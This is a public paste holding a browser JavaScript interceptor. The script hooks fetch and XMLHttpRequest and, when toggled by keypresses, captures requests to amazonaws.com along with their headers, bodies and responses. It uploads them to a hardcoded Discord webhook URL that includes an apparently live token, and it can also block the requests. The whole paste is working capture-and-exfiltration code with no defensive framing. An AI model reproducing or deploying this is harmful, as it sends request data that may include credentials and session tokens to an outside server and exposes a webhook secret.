jtptoijalathiong
- 📅 2025-09-23T10:41:21.277Z
- 👁️ 62 katselukertaa
- 🔓 Julkinen
(() => {
const WEBHOOK_URL = "https://discord.com/api/webhooks/1419964671615696926/s6t-FigGdl3aa94q2VHl7DTrJFgIrlK89Cq2CunG02r3X3AhZPK14J5j-zK_pAAeUI81";
let blocking = false;
let monitor = false;
function getHeadersObj(headers) {
const obj = {};
if (!headers) return obj;
if (headers.forEach) headers.forEach((v, k) => obj[k] = v);
else Object.assign(obj, headers);
return obj;
}
const origFetch = window.fetch.bind(window);
async function sendToDiscordFile(data) {
try {
if (data.response?.body && typeof data.response.body === "string") {
try { data.response.body = JSON.parse(data.response.body); } catch {}
}
const blob = new Blob([JSON.stringify(data, null, 2)], { type: "application/json" });
const form = new FormData();
form.append("file", blob, "request.json");
await fetch(WEBHOOK_URL, { method: "POST", body: form });
} catch (e) {
console.warn("Failed to send to Discord:", e);
}
}
window.fetch = async function(input, options = {}) {
options = options || {};
if (options.__internal_fetch) return origFetch(input, options);
const request = new Request(input, options);
const url = request.url;
const method = (request.method || "GET").toUpperCase();
const headers = getHeadersObj(request.headers);
let body = null;
try {
const text = await request.clone().text();
try { body = JSON.parse(text); } catch { body = text; }
} catch (e) { body = "<failed>"; }
if ((blocking || monitor) && url.includes("amazonaws.com")) {
const requestData = { url, method, headers, body };
console.log("Captured fetch request:", requestData);
if (blocking) {
sendToDiscordFile(requestData);
return new Response(JSON.stringify({ blocked: true }), { status: 403, statusText: "Blocked", headers: { "Content-Type": "application/json" } });
}
if (monitor) {
const resp = await origFetch(input, options);
let respBody = null;
try {
const text = await resp.clone().text();
try { respBody = JSON.parse(text); } catch { respBody = text; }
} catch (e) { respBody = "<failed>"; }
const respHeaders = getHeadersObj(resp.headers);
sendToDiscordFile({ request: requestData, response: { status: resp.status, statusText: resp.statusText, headers: respHeaders, body: respBody } });
return resp;
}
}
return origFetch(input, options);
};
(function() {
const origOpen = XMLHttpRequest.prototype.open;
const origSend = XMLHttpRequest.prototype.send;
const origSetHeader = XMLHttpRequest.prototype.setRequestHeader;
XMLHttpRequest.prototype.open = function(method, url, ...args) {
this.__intercept = { method, url, headers: {} };
return origOpen.apply(this, [method, url, ...args]);
};
XMLHttpRequest.prototype.setRequestHeader = function(key, value) {
if (this.__intercept) this.__intercept.headers[key] = value;
return origSetHeader.apply(this, arguments);
};
XMLHttpRequest.prototype.send = function(body) {
const xhr = this;
const { method, url, headers } = xhr.__intercept || {};
let bodyPreview = null;
if (!body) bodyPreview = null;
else if (typeof body === "string") bodyPreview = body;
else if (body instanceof FormData) {
bodyPreview = {};
for (const [k, v] of body.entries()) bodyPreview[k] = v instanceof File ? `[File:${v.name}]` : v;
} else bodyPreview = "<binary/unknown>";
if ((blocking || monitor) && url && url.includes("amazonaws.com")) {
const requestData = { url, method, headers, body: bodyPreview };
console.log("Captured XHR request:", requestData);
if (blocking) {
sendToDiscordFile(requestData);
try { xhr.abort(); } catch (e) {}
setTimeout(() => { try { xhr.dispatchEvent(new Event('error')); } catch (e) {} }, 0);
return;
}
if (monitor) {
xhr.addEventListener("readystatechange", function() {
if (xhr.readyState === 4) {
let respBody = null;
try {
if (xhr.responseType === "" || xhr.responseType === "text") {
try { respBody = JSON.parse(xhr.responseText); } catch { respBody = xhr.responseText; }
} else if (xhr.responseType === "json") respBody = xhr.response;
else {
try { respBody = new TextDecoder("utf-8").decode(xhr.response); } catch { respBody = "<unreadable>"; }
}
} catch (e) { respBody = "<failed>"; }
sendToDiscordFile({ request: requestData, response: { status: xhr.status, statusText: xhr.statusText, headers: {}, body: respBody } });
}
});
}
}
return origSend.apply(this, arguments);
};
})();
document.addEventListener("keydown", e => {
const active = document.activeElement;
if (active && (active.tagName === "INPUT" || active.tagName === "TEXTAREA" || active.isContentEditable)) return;
if (e.key === "Enter") { blocking = !blocking; console.log(blocking ? "🚫 Blocking amazonaws.com requests" : "✅ Normal mode"); }
if (e.key === "Home") { monitor = !monitor; console.log(monitor ? "📡 Monitor amazonaws.com requests (responses sent)" : "✅ Monitor OFF"); }
});
console.log("✅ Interceptor loaded. Enter = block, Home = monitor with responses.");
})();